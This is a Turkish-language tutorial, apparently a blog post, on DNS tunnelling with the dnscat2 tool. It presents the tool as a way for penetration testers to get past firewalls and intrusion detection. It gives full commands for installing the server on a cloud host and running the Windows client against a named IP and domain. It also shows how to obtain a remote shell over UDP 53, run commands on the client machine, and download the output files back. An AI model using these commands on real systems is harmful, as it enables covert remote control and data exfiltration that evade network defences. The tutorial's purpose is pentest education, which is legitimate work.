dnscat2 Üzerinden DNS Tünelleme

Bir sızma testçisinin karşılaştığı en büyük zorluklardan biri, sistemin içinden güvenlik duvarı ve saldırı tespit sistemlerini atlatarak dışarıyla iletişim kurmaktır. DNS tünelleme, böylesi ortamlardaki güvenlik mekanizmalarını atlatmak için oltukça etkin bir çözümdür. Dnscat2 isimli araç DNS tünelleme maksadıyla kullanılabilecek oldukça popüler bir araçtır.

Dnscat2 aracını kendi bilgisayarınıza ya da buluttaki bir sunucuya yükleyebilirsiniz. Örneğin Digital Ocean ortamından bir sunucu kiralayabilir ve orada Ubuntu droplet (droplet makineniz için gereken root parolasını e-posta üzerinden temin edeceksiniz) yararabilirsiniz. Müteakiben makinenize ssh üzerinden bağlanabilirsiniz.

dnscat2 sunucusunu yüklemek için aşağıdaki komutları çalıştırınızı:


# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

Eğer “bundle install” komutunu çalıştırırken bir sorunlar karşılaşırsanız, aşağıdaki komutu çalıştırıp ardından eksik olan kütüphaneleri yüklemelisiniz.

gem install rubygems-update

update_rubygems

Diğer tarafta, istemci bilgisayarda (burada Windows makine) dnscat2 istemci aracını kendi sitesinden.yükleyebilirsiniz (dnscat2-v0.05-client-win32.zip).

Şimdi artık dnscat2 sunucusunu aşağıdaki komutla çalıştırabilirsiniz:

ruby ./dnscat2.rb

Ardından, dnscat2.exe uygulamasını aşağıdaki komutla çalıştırdığnızda;

dnscat2.exe –dns server=46.101.174.185,port=53

Bir shell elde edeceksiniz. Sadece aşağıdakini yazdığınız taktirde:

session -i 1

exec calc.exe

calculater.exe uygulamasının Windows makinede çalıştığını göreceksiniz. En önemlisi tüm bu TCP trafiğini UDP 53 trafiğinin içinde zarflayarak göndermiş oldunuz!

dnscat2 sunucusunu daha etkin çalıştırmanın bir yöntemi, yasal bir etki alanı adını dnscat2 IP adresiyle birlikte yetkilendirilmiş adlandırma sunucusu olarak tanımlamaktır. Bu maksatla ben makarillo.com sitesini kullandım ve onun adlandırma sunucusu olarak 46.101.174.185 IP adresini girdim.

Bunun ardından dnscat2 sunucusunu bu domain adını parametre vererek çalıştırmak mümkün olacaktır:

ruby ./dnscat2.rb makarillo.com,server=8.8.8.8,port=53

Şimdi, istemci tarafta tek yapmanız gereken uygulamayı aynı domain adıyla çalıştırmak:

dnscat2.exe makarillo.com

İstemci makinede bir komut kabuğuna sahip olacaksınız. Klasörün içeriğini görmeniz ve bunları indirmeniz artık mümkündür:

dnscat2 session -i 1

command (Lab) 1>exec “cmd /c dir>output.txt”

command (Lab) 1>download output.txt

Aşağıda dnscat2 aracının hem sunucu hem de istemci tarafına ait örnek ekran görüntülerini bulabilirsiniz:

Öncelikle istemci tarafı:

dnscat

Müteakiben sunucu tarafı çalışırken:

dnscat running on server

Tavşan deliğinde gezintimize devam :)